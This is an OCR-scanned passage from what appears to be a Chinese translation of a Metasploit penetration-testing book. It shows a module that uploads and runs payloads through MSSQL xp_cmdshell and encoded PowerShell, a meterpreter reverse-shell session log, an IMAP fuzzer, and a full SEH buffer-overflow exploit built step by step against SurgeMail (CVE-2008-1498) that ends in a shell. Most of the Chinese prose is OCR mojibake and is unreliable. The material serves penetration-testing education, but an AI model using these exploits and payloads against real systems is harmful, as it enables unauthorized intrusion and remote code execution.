TR, WIS EA 22 20K BEXFHTHFR—PMRERRESARI B RE)E
AP SR — R E¥ATH (CRLF), MXERIZERITHFER LR BRIMEINTES
iy b FRIX S O] ZE AT FF RS O, W R RAIAR XL P = BAT RARH R, AR ERATT B 22 2 Ry —
HIFE R DUART, AREIEMIIT. HEEXE, FATNOUGEL R HAESs AR PR r F'n
WO A1, BT LLR RO R BR T BIE#ATR

—BRXSRERITHEERZE, @+ N E S B Metasploit B o7 # 7 i
Convert::ToByte, Ff1il PowerShell ¥+ AN#HH KA X HF#H-IFEBAB — P2 N
#{var_payload}.exe B _HHIEFF . FEE5EEBWATH h2b WAZ 5, TAILL—FF PowerShell &y
FRE S I i 2 g S 7 SO XM X B A T WS, Wi M ar S AP RN 1Tk
1T 1R i B A AR

BATHSEH h2b FRAEBEFEBN Unicode &L A O, REB - Unicode FHFH AT
Base64 Zmi5®, XBfHA10] LLK-EncodedCommand 547151545 PowerShell, L%t il ¥ 15 .
FAAERIBAT R AT PRI SRS AS ALVF AR R4 (FAE MBI A B30T, XX TR H 7 B LB
BEPAT BN E TRAOEEMAEFEE, MRRIMAMNXE@SHTRE, AR LERIT
PowerShell U5, BB EEAEHRRG. X ipS AT 058 5 R ATRE T L FH A5 84T PR &1
HWE, IR LATE— &M@ PR 2L AR

FEBRARIE T h2b FRr S Mgl dy 24rEAL )5, HATIEEE 1L PowerShell A7 LL—Fh EHEH]
Gt 770, E— AN PR H B AT P P AT RATH) PowerShell 40HS .
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EMLEO, BT ¥ Unicode 4it5, X242 RS B1Li545 PowerShell &4 E
3K. h2b_encoded=Rex::Text.encoded base64(h2b unicode)iE A 71T 4 3t — L6 4 Base64 4
%, f&i%%5 MS SQL. Base64 & EncodedCommand 5 &AL 40 . IRATET e+
fFE N Unicode, #Af5 FFLL Base64 4gfd, B4 /& PowerShell i 4 I HRR. BE, B
fiim&mitl—%E 80, XKW EE LR

13.3.5 &=

VHERR T B R B SO ) AR B, L RIE B RRT OERIE T 2083 . R mAMR
i, —ANEEREVHAGES idx BAIRE N 0, RS IRSCAFAR R, IFFER IRARE /N k4% 2R3
TFEHRIE RGN BIG 500 FF7, WIHAKB: XA AR R IR 500 F41, REEE, B
BEHL 500 £, FFAR”, HINEEBEIXFRE,

0 idx=0

® cnt = 500

® while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMPE\\#{var payload}", false)
idx += cnt
end

® print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql xpcmdshell("cmd.exe /c del XZTEMP%\\#{var payload}", debug)
print_status("Executing the payload...™)
mssql xpcmdshell(“%TEMPE\\#{var payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end

EIHZ— T AV B AR AGE S AR RERSE, T ER LRI 500 AR08, Al
RIS 1dx O] et @ SKER EZ BT S R AT 3140 1Y, vHERS idx KK ent (5000 M7
T, M Metasploit Wi BATERIRIER 500 FH5@, FHRiX A G AKNEZ BHRRE L,
HE idx T HEA B SECREAKE, NXXHRE.

EANED]—FKHEO, BB R 2L 4%# H-EncodedCommand PowerShell #iy &3 1T
e, MIFEP PowerShell iy & ¥ ¥l Base6d MG TR, REEWMA THRRESE L.
"powershellEncodedCommand #{h2b_encoded } "ASAT ¥ 047 Beiks 8y, 1Hid 45T Base64 4L
PowerShell #r<, #17NEEHFIB M B —HEGERM, SAHBRRANIHERE L, BEH
TIAT
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LT R EEAS mssqlrb S 238400

i

# Upload and execute a Windows binary through MSSQL queries and Powershell
#

def powershell upload exec(exe, debug=false)

# hex converter

hex = exe.unpack("H*")[0]

# create random alpha 8 character names

#var bypass = rand text alpha(8)

var_payload = rand_text alpha(8)

print status("Warning: This module will leave #{var payload}.exe in the SQOL
Server %TEMP% directory")

# our payload converter, grabs a hex file and converts it to binary for us through
powershell

h2b = "$s = gc "C:\\Windows\\Temp\\#{var payload}';$s = [string]::Join('", $s);%s
= $s.Replace('"r',""); %s = $s.Replace(''n',"'");$b = new-object byte[ |$(%s
.Length/2);0..%($b.Length-1) | %{$b[$ ] = [Convert]::ToByte($s.Substring
($($_*1),§},1ﬁ}};[ID.File]::HritenllﬂytEE('E:\HHindnw$\\Temp\\#{uar_payluad}

.exe',$b)"

h2b unicode=Rex: :Text.to unicode(h2b)

# base64 encode it, this allows us to perform execution through powershell without
registry changes

h2b encoded = Rex::Text.encode base64(h2b unicode)

print_status("Uploading the payload #{var payload}, please be patient...”)

idx = 0

cnt = SO0

while(idx < hex.length - 1)
mssql xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>¥TEMPE\\#{var payload}", false)
idx += cnt

end

print_status("Converting the payload utilizing PowerShell EncodedCommand...")

mssql xpcmdshell("powershell -EncodedCommand #{h2b encoded}", debug)

mssql xpcmdshell("cmd.exe /c del FTEMPE\\#{var payload}", debug)

print_status("Executing the payload...")

mssql xpcmdshell("#TEMPZ\\#{var payload}.exe", false, {:timeout => 1})

print_status(“"Be sure to cleanup #{var payload}.exe...")

end

13.3.6 E{TEEILIRR

BEAV5ERR mssql powershell.rb F1 mssqlrb FRI%E TAEZIG, BATATLAE L Metasploit
HEZEF MSF i KIS TiX/MBBE W AR ER, TRt 7Y, BAIHFEH A HRENFHE a8 s
T PowerShell. SRAEIRATA] LUEILIZATUN T B o & K AT RA 1B F 9 5 B BB AR R

msf > use windows/mssql/mssql_powershell

mst exploit(mssql_powershell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse tcp

msf exploit(mssql powershell) » set LHOST 172.16.32.129

LHOST => 172.16.32.129

msf exploit(mssql powershell) > set RHOST 172.16.32.136
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RHOST => 172.16.32.136
msf exploit(mssql_powershell) > exploit

] Started reverse handler on 172.16.32.129:4444

] Warning: This module will leave CztBAnfG.exe in the SQL Server XTEMPX directory
] Uploading the payload CztBAnfG, please be patient...

] Converting the payload utilizing PowerShell EncodedCommand...

[*] Executing the payload...

[*] Sending stage (748032 bytes) to 172.16.32.136

[*] Be sure to cleanup CztBAnfG.exe...

[*] Meterpreter session 1 opened (172.16.32.129:4444 -> 172.16.32.136:49164) at 2010-05-17
16:12:19 -0400

[#
[*
[#
[#

meterpreter >

13.4 /&g KBEMBES

AN FARA R, TidRs, JE8m-— &R R AR 2 A7) BLTE Metasploit
HEZE AT LU B R RE B S . S ERX Metasploit HEREH T —&&3, HOELFR FHA
RIS TR, BEXZEHAT, REFLETENFFHRESIRE CHBERAE. &
AR R E VAR K, (BIREHEEHHLAK Metasploit RRIFH, 1 EAIE
A4 LA B el B i, SXRE R SEBR YT R TR X Metasploit BN T LA K72 BUIIA B ) AR 3F
HHEE. 5 14 TR ITHRY S Zrh X 8 B A ERER, DR SEIEq]. FERXLR
R AL L ] TR, RERRTURS HE2RTIRE CREBERE 1. WRIRE
A Ruby HfEES, REWEAFLRE — R AR ERE, HHR 4 Ruby BT 5 3
3], MR, FINTHREIX BB K EAR, BT 2 Bl SRR KRR .
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B R EEWMERR

Ve —2BENRE, REEEHERFEIEREN AR, RUE Metasploit P HIE
HAHNBBEBERRAE L. X, R B SR A IX SN ARFP R, 3FR8E1M
MmERTHRACKBE.

38 i ] B — e B O 16 B 0 R AU B AR B X AR Pt 4T Fuzz WA Fuzz SR —
RS . AETUAR . BEAEYACEIERAR RN AREFR S, R)5KRE RS HILE W 5
MEREITH. WEBEEL T RERRLZERE, R UEE—BAHEFE—NEEX T
B, Fuzz IRRBAR R —AN @REE, MACLE T2 PHETERMAXFEA. FXH
BATUAN B — 1 Fuzz MATARRIBZE, REREAZIUTSE —a] LA TER 2 & B iR

EARTH, BINVEFIR—ELT— TR Fuzz IR F ARG & GEERLBNTRE,
B ATTR{E ] — N 7E NetWin SurgeMail 3.8k4-4ru K {4+ i Matteo Memelli (ryujin) i R ELE © A0
WIFEAN RG], ZRFAMNBSEUEEZ2ERE BT LN Attp://vww.exploit-db.com/exploits/5259/
RELE) . XAMNAHKAXTEER LIST B ALSFERE, vTLASBUERS HIF 8 EuE
Fal LB ATHE.
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BT ARBRG L HABREENRAF L, HREF KiEd sk Fag—2%5w e,
AR LR ARXS., wRAEFE “BEMPIT, BT AL SE RN KA EH 3L
( http://www.exploit-db.com/) P #%%|—2 & corelanc0d3r % 5 ¢4 3F w LA 49442, £ VAR A
ik BB KA B AL E I BEARAE” (hip://www.exploit-db.com/download pdf/135
35/, & k45 A # F F54E hitp:/bbs.pediy.com/showthread.php?p=713035#post713035 ) #=
“HRENRBGBHEAEE =% SEH” (http:// www.exploit-db.com/download pdf/13537/, F X
#4535 A& & T 3% hitp://bbs.pediy.com/showthread.php?t=102040).

141 Fuzz MBS Z AR

FERFFRAEMBBERIS T, REERAAE—TNHREPEEFEL 2R, XA
PRl EF M Fuzz WA E AR .

THERT —DRE ALK IMAP Pl Fuzz #0238 AOYEACHT, R ol LUK 3L R A7 £ VR 1)
/root/.msf3/modules/auxiliary/fuzzers/ H 3 T, A EHIAAZREIRBTRNEHEDOR Metasploit 1)1
TG RIE R,

require 'msf/core’
class Metasploit3 < Msf::Auxiliary
@include Msf::Exploit::Remote::Imap
®@include Msf::Auxiliary::Dos
def initialize

super(
"Name' =» 'Simple IMAP Fuzzer',
'Description’ => #q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this
fuzzer.},
'Author’ => [ 'ryujin’ ],
"License’ => MSF_LICENSE,
‘Version' => '$Revision: 1 §'
)

end
def fuzz str()
©return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while {true)
@connected = connect login()
it not connected
print_status("Host is not responding - this is GooD ;)")
break
end
print_status("Generating fuzzed data...")
©fuzzed = fuzz str() |
print status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
@®req = '0002 LIST () "/' + fuzzed + "" "PWNED"' + "\r\n"
print status(req)
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res = raw _send recv(req)
if lres.nil?
print status(res)

else
print_status("Server crashed, no response”)
break
end
disconnect()

end
end
end

XA Fuzz QA S B F 4G 5 7 IMAPORF] DoS 6@, 5[ IMAP 2] BLil-fiR{f
HERERINEE, 1 T XA Fuzz W81 B 02 1EAR S0 8, BT LUX AN BEEUG S 8R4
ke 55

Fuzz AT (BATEAGRL R I R EAE) SR EANBARKEN 1024 FHH—
A B A I BEA AL R @, MRS Fuzz MNARREREIF S R ATHMRS 1O, WMEERE
AL, PR S RO T, XIS T EIRE—BENAE T, RS A 5 ]
BER KA R L) B T B RGHEN —IMRE.

Fuzzed A& B T Metasploit FEZRPT =4 HRIBENIAL T A8 @, SR )55 617 7F B il 1
LIST fr & it -—MEBRRE RO, EREBEEMESE, WE Fuzz 488 E W% E IR
FimHI M A, KT ENH “Server crashed, no response” HiH B JEIBH .

N T IRAAR AT RS BIIXNHTHY Fuzz MA8%, 16830 MSF &y, BHXAMER, HTi&
B B 0 -

mst > use auxiliary/fuzzers/imap fuzz
mst auxiliary(imap fuzz) > show options

Module options:

Name Current Setting Required Description

IMAPPASS no The password for the specified username
IMAPUSER no The username te authenticate as

RHOST yes The target address

RPORT 143 yes The target port

mst auxiliary(imap fuzz) > set IMAPPASS test
IMAPPASS => test

msf auxiliary(imap_fuzz) > set IMAPUSER test
IMAPUSER => test

msf auxiliary(imap fuzz) > set RHOST 192.168.1.155
RHOST => 192.168.1.155

msf auxiliary(imap fuzz) >
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XA Fuzz MABCELWEIFIZT T, WHSHFRMEERN LS (ERMNEZEEH
Immunity Debugger) %) surgemail exe 3¢ L, RJGIEAT Fuzz WA 4%:

msf auxiliary{imap fuzz) > run

*]| Authenticating as test with password test...

]

*] Generating fuzzed data...

*] Sending fuzzed data, buffer length = 684
]

*] 0002 LIST () "/viAD7DnITVykXGYYM6BmnXuYR1ZNIJUzQzFPvASjYxzdTTOngBlS5gfKOXjLy3ciAAk1FmoO
RPEpq6f4BBnpSjm3LuSbADj1M5SqULEGE vODMKk0oOPU 6 XPN1VwWXFpjAfFeAxykiwdDighwnVIAKyr6X7C51ije7
DSujURybOp6BkKWroLCzQg2AmTuqz48oNeY9CDeirNwoITF1aC40Ds90gEDTLBWNSt LAQYdVUZ085219Thogk7
75GVENH4YPpSo2PLmvd5Bf2sY9YDSvDgMmjWoFXrgloUK2r19cvoCbTZX1zul1dDjn] IpXDuaysDfIKbtHngVh
siiYhFokALiF1QI9BRwj4bookwZDn8jyedxhSRAUICF1Ms19CvbVnnLiWeRCHScrTxpduVIZygblcrRp6AWQgke
?ﬂDz14hd?ngTIHKHﬁR403ALckngﬂHcUSEHjﬁTHIQNFAIPPiLEnctaKﬂuxhzjp5112e16r3335txﬂﬁq1wE?Qa
876xqJ SNSCmnIN4AHQ4WAPZI jGRHUZC8Q4ytXYEksxXe2ZUh15Xbdh2132zW2HpxJ2AT4kRUIWDQBUKEOwvKtoeb
rfUGI8bvjTMSxKihrDMk6BxAnY6k jFGDiS08hcEagatz]1FhH9eI 2UHDVbsDMUHTFAFbrelTHV1cIruAozmZKz
i7XgTa0gzGh" "PWNED"

0 |

[
o [
© |

® [*] 0002 OK LIST completed
« «» «» SNIP ., . .

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 1007

[*] 0002 LIST () "/FzwljlcL16vW4APXDPplbpsHB4p7Xts9fbalYjRIASXRqbZnOMzprZfVZH7BYvcHUWlNOYq
yfolrlyobz0OqoscleTeRgrDOKASMDDLbmY6WCQ6XQHIWK j4c9)CFPjIgTndsocWBz1xLMX1Vdsut JEtnceHvhl
Ggee&Djh7v3iolWwatXIMMxe8uR2NgB1KoCbH18VTRBGUFqWCmQ097083gR9foibinKdWdcE6ivbOHELALYKFYzZ
06Q5dvzas80Vhn8sqSnRAmMQ1ULcUGuvr6r99P0LlrZst10r606]2B03 TBGDFUYyOdNMIOEUANKZ60NCN3Zk1IL65
9MC8PZyofr(iPBqZ4xn0biAjFTH5LsCjIFulseZ9LsdXdek7iiOhEmW6D86mAtyg9S1a7RALTbRCLIHI pwMsEE
5LS1wIV9aFPSEROWIADtF4bGSle1FCyf63hy3VoBAKkIdeyusMf jwiUExandVeUldk8c5bhlyqoDp3UX2C10PZ
0s0KpFoIcxmq8ROE3R15415Y130PcN7U20Kb1CEAfbhxGFgh1oMz jIpuM7IbHMXrZNjVADz6A0byzZgiP2pXaTZm
0loV9ubFwa0l6sR60LOPngIMYNWTMXTUdiE 7r0juOmkdgglPTkZ3n4de1 FEaLh8Xhf9SNSPZUXOM7gmUiyNYv6
qti30my8qvjloQuilIhUhf5fKOunKIcBSZw7quznxViGF 2R5hXVTwilv1bMisTQW68ZDF1D6q6BI4S30NTFCyXX
aQpAURyCoDGdjoxk1vrUPGusf3i4EIF2iqyyekWiQ7GuYcwMax300ZXB2djFh2dYEGyBSCHaFhpwUgamThinnM
AsDFuEY9Hq9UOQSmZ6ySunifPFjCbDs4ZooquwoHPaVnbNVo9 7t fVBYSe i9dWCUWWUAPYIVs TGoDNRVarOrg8q
wbzivBa0aPZ7Y8r0SUiB1nNh1h13UCVZpf8GckopsjETT4ks356q0I3mLZkqCLkznVV4ayetVgaDm™ "PWNED"

@ [*] Server crashed, no response
[*] Auxiliary module execution completed
mst auxiliary(imap_fuzz) >

LR T, TR F Fuzz WSS &R TR T ZRE A IMAP ARG m@, HAEMR T —1
BT R0, REHHEFHEEFRAESIRS RO, BRIMNTFErRHke. R
Fuzz AR A WENEMAN, REFR— NSRS RCEHBRAETRO, XARES AR
iR E BHRH I &

IXEE Windows $EAL_ERY BEOREAGAAR, %Al LA B AE DL E R S5 HAE m i s L
BT, W 14-1 frr. BEHAEA, REEIXIREEEEN A gE s, AERR,
AR EEA MW KISl H B AT £ P HEMAENXKKER, R
RN R AL —AEE] 11,000 FHKEMFR &G, LIS ik % b8 (SEH).
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L) SEH AT LU AR 8 B AR E e 58, b e 0. R, R ANAEF DLL
o 3R [Pl bk BT DL AR 8 ARG e 58 A T A R 3R E R GRR A .

% Immunity Debugger - surgemail.exe - [CPU - thread 00000294, module surgemai] |- [i= |K
x

File View Debug Plugins Immiib Options Window Help Jobs - |

™) i ;

I [ VT SN L SRR E B R ST AR e e e ——————— e T T T e —iLE = mE e

#|

B 14-1 AR S R

KiE— 11,000 FHKERFRFE, BNAFTEE Puzz I HFRE P EHT — RADBEDS
wF AR

print_status("Generating fuzzed data...")
fuzzed = "A" * 11000 .
print status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

XBARIE IR A TRYVLK RS, TRRET 11,000 MEFF A KEZEIFENK,

14.2 EHEHFEA0TEeE

W RYREF S 3 surgemail f%, EFAHARBMIN_LZE, HHKIZBIT Fuzz #1iA48, KA
ULE B R 28 Fuzz H R IR . R YR A #12 Immunity Debugger, RA] LLIEFE View ->
SEH Chain 3Tk #FH SEH BHAR, ARAEHHE, Nk 41414141, BI51EFE “Follow
address in stack”, o] UL7EME 14-2 Fraai)A THES B H 3 SEH S EFHEHRNE .
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File View Debug Plugins Immlib Options Window Help Jobs

B 14-2 MEJEH SEH 84 H

PREZ5MIE T AT DU AGE — MK TR 8, RIZHIAF A IR E surgemail it %G F2# SEH
B, BL7EREHERTEE7E B bR RS LT SEH B i i i ERE XKL T, RIFLCH
BA BB R M, ERER AR RN §T, PR E 56 E 3k A A
Wil .

BT Fuzz $ERBBHMRE, QIEEH—MEEKEEASNTTATA BRI TR
#, 30 B

print_status("Generating fuzzed data...")
fuzzed = Rex::Text.pattern_create(11000)
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

X B, BAMEA T Rex:Text.pattern_create & Fuzz WAB{HEK T — I AH=EE

MIBEHLL R 8, IRFEEFIEAT Fuzz IR, SR B/ SEH BB EHNS5N “684E3368”7 (fE

PREGBITHIRATRER TS BEHLED . Wl 14-3 For.

& 14-3 SEH #8525 N BHEPLFFF &
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EF RGN FIFEES SEH 2 J5, ° LU H 7 /opt/metasploit3/msf3/tools/B& 42 T H)
pattern_offset.rb FRFF R HESZRANME, RFEHXENTIE (684E3368) MR
HisFRHMKE (110000 15AZ 8454 pattern_offset FLATLL T, WIFFras:

root@bt:~/.msf3/modules/auxiliary/fuzzers# /opt/metasploit3/msf3/tools/pattern_offset.rb
684E3368 11000
10360

RPIZER 10,360 F#nE 7 T SEH MUUANFE R RLE 10,361-10,364 A1, IRAERNIATLL
B 5 — RS Fuzz MRS 0ACHS, RIGIERATH R I.

print status("Generating fuzzed data...")
fuzzed = "\x41" * 10360 fuzzed << "\x42" * 4 fuzzed << "\x43" * 636
print status("Sending fuzzed data, buffer length = %d" % fuzzed.length)

AT LAE 3, Fuzz A0 H —MERIER, 10,360 ME5F 4 (HodthlE 41D FFia,
AR 4 DNT UL B CH/NHNE 42) RB & SEH, AR5 636 1A C (/A N#EHHE 43)
KA 7 AR FF T B KRR 11,000 F79,

B BARSEHLEAT Fuzz MR 28, WA 14-4 BoR, ¥4 SEH DL %S TRAEEZ
T,

& 14-4 5c4&#3% SEH
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14.3 %33 SEH BRI

7E SEH B i a2 J5, EARIEATTH R BT TR/ A KB E Shellcode. HHHH T, &
11&{EFH —4 POP-POP-RETN 184 KL% F—4 SEH /& (NSEH), #RJFilid—/EiBk¥iE4
(short jump) ZEAZFY Shellcode P . HAERE T HIRNISFE RN, 35 IRIX A2 (8] A/ PR il ,
AT g B 24 B M L AT SR it R mT BB KA 23 [R] . FEIX NIk, BATTE L5 T AT AY Fuzz #liK
SRR, KR BN AR B AIX NI T R B E ARSI M B

ENMNEEB RGN T HEMH egg hunter R RATHEAKHRAT, BEL /MR
f#] shellcode M PN F7rR F 4 BLIE MBI BidT A, (AR, FRATEE X B (8 A — P AN [ i) il A S i I
i, EL POP-POP-RETN 154184t KM SEH, EEZE, BISHM— 1 REERLIESHIH
Ja i BkEe (short jump), T RBAVEAE AT d L 5 Bk s JRER 21 (4 23 1] K AT — K BE A — BX NOP
T84 M shellcode MU BEH; (near jump). BARANRULFTFR, (HE—B NOP ZRAEH MK
BER TR ERA R, BAENITUAREREAFPEI XA BELH K —BRERERST
@], JiXLe NOP $54 A e X RS E R A At ny, B #1EhIER. BAEERT,
X R B R 8T B R R I T -

[—BAERERE P X HIEINOP 452 11T [X|Shellcode| L Bk¥7 | Bk ¥ [POP-POP-RETN]

AT RUEZBEASEEA R A Windows R4 8] 8 A1, BA 1] L4~ HFEFFH DLL
BRI PAT PR RIE AL . ZEXAEBIP, RENARFRRISAT OB, BT DR
AT LA surgemail.exe SCHF 2R3 H —4~ POP-POP-RETN R4 75| K FEdi SEH, XFEH)IEE
FEARS AT LLUER T AR K Windows REEAE T .

i HATBERES SurgeMail Fif I LFRBEMRE, FTHERNIERS RS EBEERE
VIS E 5L, {RTF1E/root/. msf3/ modules/exploits/windows/imap/H 3% .

require 'msf/core’
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,
"Name* => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'"Description’ => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.

}s

"Author’ => [ 'ryujin' ],
"License’ => MSF_LICENSE,
"Version' => '$Revision: 1 §',
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'References’ =)

[
[ 'BID', '28260' ],
[ "CVE', '2008-1498' ],
[ "URL', "http://www.exploit-db.com/exploits/5259' ],

1,

'Privileged’ => false,
‘DefaultOptions’ =>
{
"EXITFUNC' => 'thread’,
¥
'Payload’ =>
{

0 'Space’ => 10351,
'DisableNops’ => true,
'BadChars’ => "\x00"

| &
‘Platform’ => 'win',
'Targets’ =>

I
©[ 'Windows Universal’, { "Ret’ =» OxDEADBEEF } ], # p/p/x TBD

1,

'DisclosureDate' => 'March 13 2008,
"'DefaultTarget' => 0))
end

def exploit
@connected = connect_login
Olead = "\x41" * 10360
@evil = lead + "\x43" * 4
print_status("Sending payload")
®sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
@sock.put(sploit)
handler
disconnect
end

end

FEHR ‘Space’ OZTEREWE Y shellcode BT LI N AFZE 1A K/h . XA A ER7E B B B
Rep BAEE EEE, EANEHRE T E Metasploit PR TE M e H T X MNB BB .
—EAEHEA A RN FEES - AFER, REAED SR XAME. Bl
A MREMRK, ERSSHERT KRENPKE, WRRFERE N RERENIHR
fif IR/, FTLMEA info dir4 BR EBGHEATHIZRR, @ FATR, HKATLLM Total size {8 4 8 2K
8T B R

mst > into payload/windows/shell_bind_tcp

Name: Windows Command Shell, Bind TCP Inline
Module: payload/windows/shell bind tcp
Version: 8642
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Platform: Windows
Arch: xB86
Needs Admin: No

Total size: 341
Rank: Normal

££ Targets 17 [ return_address@ IR 3 78 (134 A& — AN AL AT, BATVETE 5 B ZEALHS TT
ROTFR AT

UWNFIE Fuzz BASESLP IR —F, XN2ERPEE T EEENT X B B 7R
L@, MR —KBRFHF AKREIVBRENXO, RIGEHM 4T/ C kB SEHO, LA
BEEANFTRO, BIGIEGHIRRYGO.

14.4 FRELR O]t

F— Bl & TE surgemail.exe P EHL— POP-POP-RETN 154 7%, YRn] LB X A — 3E 0 F%
P 8| 2R Back|Track Biibl L, #RJ5{#H] msfpescan THREFIFE H9-p JETH K MFE R4 H—

Mo EREAE, R s
root@bt:/tmp# msfpescan -p surgemail.exe

[surgemail.exe]

0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x0046754d pop esi; pop ebp; ret
0x00467578 pop esi; pop ebp; ret
0x0046d204 pop eax; pop ebp; ret

. SNIP . . .

0x0078506e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret
0x0078517e pop esi; pop ebx; ret

YR A msfpescan KX} B b5 —idt 6 SCH#ATIR R, ERHLIALEE S TR MRS
H#rfe S GXANRHIHZ POP-POP-RETN) R4 Hiht, MWNERPHRATLUER, ©#R3T
ZAANF AR, BATEA R PEMER Aok, HnBSK 0x0078517e, FA1EZ FERNL S
# SEH. Wi &#FL)G, BRINDNZBEBGEEBA PR ‘Target” T MRASIX AR
bk, JF7E exploit T HIHEAMERZMN X P, WFFx:
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"Platform’ =» 'win',
'Targets' =>
[
@ 'Windows Universal', { 'Ret’ => "\x7e\x51\x78" } ], # p/p/r in surgemail.exe
],
'DisclosureDate’ =»> 'March 13 2008',
'DefaultTarget’ => 0))
end

def exploit
connected = connect login
lead = "\x41" * 10360
®evil = lead + [target.ret].pack("A3")
print status("Sending payload”)
sploit = ‘0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

A TX SEH #AT =1 FRIE S, BRIEEMA ‘Target” XFHREMXOBRE X LUEF
WHF RN EI AL, mAE b BAET 2R, (FUFRHBREL CPU R IR
RAFTHRE R, Intel AR CPU AR MREFENFRD .

BATH evil FRFBRE =ANFFF C B A[target.ret].pack("A3")®, ERHE ‘Target’” X
7 B R [l b S A R X B B AR R A b AR % S SR U B = F 1 B SR HiB B AU R,
PR R A e 5 0 H brbl CGXANEBIF R 0x0078517e), T Metasploit $ < 78 R {E F
[target.ret].pack('VOIR B ST 7 AT IEBHF . £X N RA, TEEREREG, BHA
BATH R D FRF, ErREMTAFRENER, BB ERHAINEEER THE.

HLAE AR AT B MR T HNRE B Beh BB . RN EREER THET .. WRIRETRE
ARG I — ELH L SRR A AT IR, ARRAE A AT REAE S Lok 5 B T AR, REER
Ja AN T ENKERM A e B R 4. W FETRER S,

mst > use exploit/windows/imap/surgemail book
mst exploit(surgemail book) > set IMAPPASS test
IMAPPASS => test
msf exploit(surgemail book) > set IMAPUSER test
IMAPUSER => test
msf exploit(surgemail book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
O msf exploit(surgemail book) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug trap
msf exploit(surgemail book) > exploit

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
msf exploit(surgemail book) >
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FeA e H o B ey 2 generic/debug trap®, X H AR ANEIERBCEE S, MREAEK
HHNCC CTilrfE<) , R#TBERLIRSPATHENSERRK, XX T REBERL
L FE P shellcode & & REMFHRA B IEB AL B _LEAEHHHA, |

BB TIBE R HICE )G, 4TI Immunity Debugger, NP 14-5 fras, B A EiE#E View >
SEH Chain 80, & T F2 @& E Wi, R/EH SHIFT-FO 4 &85 57 % 11645 N AR
IT 1 N B| POP-POP-RETN 154 FF%.

A, SEEEWAAST, & F7 ST EPIRSWI, 8P IRELUEATE NSEH PEEM
41414141 6% .

E14-5 HA POP-POP-RETN a4 %)
AR, i ENEICRE S HRBT R ERERERNES, TR

def exploit
connected = connect_login
Olead = "\x41" * 10356
Onseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")
print status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
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TER SRS IRENBIEABEE, —EERHHEYIGEZE X KEO, & R EHhE 47 5 H
07 . FERXANEGFT, NSEH S#E SR T rE LN T RERER S (xebxB\x90\x90)
©, Hd eb MIRIBEHE FHRIENE . BHOVIEE P XK ¥ 10356 17, FEATATE SEH
iR AdhE 2 AU T 4 DEFRITF T

HOREFIZTEBERIDH RS E LRSS, RBHEARERT G2 GTH—H
41 CHREESIE 4) 1, P4 INC ECX 54 Nz e MBI 2 B, E8REFHITH
PR Bk Bl gt ph X

MAERNTESGEEAS, UEE - PNEBEHRS T ((xeS\xdd\xd7\x\xff), MIifi k)& Bk
AWM X B IO E, F W 14-6 FIRIE X 4R, BATTLLE B 4 FRAH AT
ZrPXERE S RIELL ), X AN shellcode 4L T Bl 10,000 FH =% (a). B0 HAY
shellcode “FE A 12 Bl AT EAR] 500 71, XA4BKKZEESLEIREN JL T H 28
[#] shellcode .

= Immunity Debugger - surgemail.exe - [CPU - thread 00000818

& 14-6 4 shellcode AL A BN 723 A]

HRAEVR AT B AR ) A 3B S R x4 AR E X B — D NOP (\x90) ZF¥5 41T
X, BEBEBEAIAT, RIS/STHNY shellcode 5t LL5E 274 Metasploit R355E T .

def exploit
connected = connect_login
©lead = "\x90" * (10351 - payload.encoded.length)
@near = "\xed\xdd\xd7\xf\xFf"
nseh = "\xeb\xf9\x90\x90"
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©®evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print status("Sending payload")
sploit = ‘0002 LIST () "/' + evil + '™ "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end

e L asfRast, FReI AR BSERTRIMERH B B — KB TR 4 YR EMN X CL T T
NOP 254 1 1 Metasploit IF 4 11 shellcode® . 7 3 28 M X < M AGET Y 10,356 F15FF3] T
10,351 ‘745, LABRANUIBEE 120, &5, HHAEBEIITER TR OKMIE Hm&r) “ A8
B FfEH

IAERAT AT LLEFE — N HIEMBLEES, REHITE MBEREEER, REFERE T4
AR, BERGIREEGHGHREVNRHET L S1E. BEEGHE C2EE RS 48 &K H
THEEST, BHEAERNEE] shell, £5RWF .

msf exploit(surgemail book) > set payload windows/shell bind_tcp
payload => windows/shell bind_tcp

mst exploit(surgemail book) > exploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
msf exploit(surgemail book) >

14.5 FFHFTERBRIT

T, BAEER T —MRAETMEMNEGR: BB BREHRT, HIRFURETES
5. WRAHEIT R ABSHITRE, ReRMERREEZERFERB—BRERE T HAWR?
IR 2 E LR IR RB Phidtt, (EE RS AR “RFHFHR", 757, EEL T
7 MHGEMEPHARTE S REB BRERG, aEEEF RN RmENBEE. A E
